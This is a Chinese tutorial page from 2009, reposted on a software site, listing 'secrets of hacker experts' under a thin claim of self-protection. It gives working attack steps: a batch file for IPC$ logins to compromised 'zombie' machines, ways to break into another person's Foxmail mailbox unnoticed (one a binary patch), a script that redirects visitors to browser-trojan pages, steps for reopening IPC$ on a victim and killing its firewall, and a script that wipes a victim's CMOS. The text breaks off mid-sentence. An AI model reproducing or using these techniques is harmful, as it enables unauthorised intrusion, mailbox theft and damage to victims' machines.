当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 分享:骇客高手技术的七大秘籍

安全基础
黑客攻击行为的特征分析及反攻击技术
Windows 2000中隐患重重的十大“服务”
网页脚本攻击防范全攻略
防患于未然 轻松做好Windows 2000安全策略
用注册表为操作系统砌九堵安全墙
完善网站程序 脚本攻击防范策略完全篇
两步修改XP远程管理默认端口可防止入侵
消除Windows XP自身的安全隐患
保护Windows不受恶意代码攻击
如何关闭和限制电脑不用的端口
修改Windows 2000远程终端默认端口
操作系统被入侵后的修复过程
利用微软基准安全分析器打造你安全的系统
数字签名技术简介
检测和删除系统中的木马
QQ密码破解程序
P2P中保障Windows网络安全
在代码中查找安全性缺陷的专家提示
QQ安全的三大纪律八项注意
如何保证文件夹的绝对安全

安全基础 中的 分享:骇客高手技术的七大秘籍


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 124 ::
收藏到网摘: n/a

  掌握一些黑客知识是非常必要的,不是要攻击别人,而是通过简单的黑客知识掌握网络/系统安全技术,开拓思路,从而更好的保护自己的电脑。也就是所谓的“知己知彼百战不殆”。

  1.简化CMD下用IPC$登录肉鸡的操作

  用记事本建立一个名为login.bat文件,代码如下:

  @net use $">\\%1\ipc$Content$nbsp;%3 /u:"%2"

  @echo OK!连接已经建立成功!

  使用方法是在CMD下输入:login.bat肉鸡的IP肉鸡的ADMIN组的帐号名/用户的密码。这样我们以后用IPC$登录肉鸡就不用每次都输入一大串的命令了。

  2.进入Foxmail账户有妙招

  在Foxmail中可以为账户加上访问密码,如果没有密码却想进入别人的信箱该怎么办呢?一个众所周知的办法是:打开Foxmail文件夹下以账户名命名的任意一个文件夹,里边有个名为account.stg的文件,把它复制到你想进入的账户目录里,直接覆盖该目录下原来的account.stg文件。运行Foxmail,点击那个忘记了密码的账户,可以直接进入该信箱!但是上面的方法并不隐蔽,因为对方下次使用信箱时就会发现你破解了他的信箱,这样不够隐蔽。要想进入对方的信箱还不被对方发现,可以使用下面这个办法:用16进制文件编辑器UltraEdit打开Foxamil的主程序foxmail.exe文件,按组合键Alt+F3查找以下的代码:E8617EE4FF7515,单击"确定"开始查找,找到后把其中的7515改为9090,其他代码不用改,然后保存就可以了。执行foxmail.exe,这样可以随意进入设有密码的Foxmail邮箱。该技巧对最新的Foxmail5.0.500.0有效。

  3.利用vbs脚本判断对方的IE版本

  我们在编制网页木马时,常常需要页面具有自动判别对方IE版本的能力,根据版本的不同,跳转到不同的网页木马页面。之所以这样做,是因为不同版本的IE,其木马网页的制作方法并不相同,比方说针对IE6.0版的网页木马制作方法与其下各个版本就不相同。

  打开记事本,输入如下内容:

  SCRIPT language=vbscript〉

  if Instr(window.navigator.appversion,"MSIE 6.0")>0 then

  alert("浏 览 器:Internet Explorer 6.0")

  window.location.href="http://IE6.0 网页木马页面"

  else

  alert("浏 览 器:6.0版本以下")

  window.location.href="http://IE6.0 以下版网页木马页面"

  end if

  〈/SCRIPT〉
  这样,使用IE6.0的用户浏览了该页面后,会自动跳转到http://IE6.0网页木马页面,不是IE6.0的用户浏览后会自动跳转到http://IE6.0以下版网页木马页面。

  4.肉鸡的ipc$打不开该怎么办

  有些朋友反映telnet到对方的机器后却不能打开ipc$,这该怎么办呢?我的做法是首先试试net share命令,看能不能使用,如果不能使用,说明对方没有安装文件和打印机共享服务,那ipc$一定是无法使用,此时只能放弃了。再输入net share ipc$试试,看看ipc$能不能打开,如果不行就输入net stop server,接下来再输入net start server,这样试试看ipc$能不能打开。如果net stop server不能执行,先把其附属进程关闭,再关server的主进程,一般到此ipc$多半可以连接上了。如果还是不行,那多半是对方有防火墙,这时只能想办法杀掉防火墙的进程了。

  5.用vbs脚本结束进程

  先声明这一招不是我自己想到的,是从高手ilovewen那里学来的。把下面的内容保存为.vbs脚本,在Windows2000下可以运行成功,代码内容如下:

  On Error Resume Next

  strComputer="."Set objWMIService = GetObject("winmgmts:" _ &&"!\\" &&strComputer &&"\root\cimv2")Set colProcessList=objWMIService.ExecQuery _ ("select * from Win32_Process where Name=’*.exe’")For Each objProcess in colProcessList

  objProcess.Terminate()Next

  其中*.exe是你要结束的进程,将它改为你要结束进程的名即可。

  6.利用批处理清除对方的CMOS内容

  如果你想清除对方的CMOS内容该怎么办?方法有很多了,利用批处理绝对是很另类的一招吧?请打开记事本,在文件中输入如下内容:

  Const ForAppending=8

  Dim fso,x,y

  Set fso=createObject("Scripting.FileSystemObject")

  Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)

  Set y=fso.createTextFile("c:\1.txt", True)

  x.WriteBlankLines(1)
 x.Write"debug<1.txt"

  x.WriteBlankLines(1)

  y.WriteLine("o 70 10")

  y.WriteBlankLines(1)

  y.Write("o 71 10")

  y.Close

  x.Close

  把上述内容保存为.bat文件,然后拷贝到对方的电脑上运行即可。它的作用是向Autoexec.bat中加入数据,创建一个文件,并向其中写入内容,在他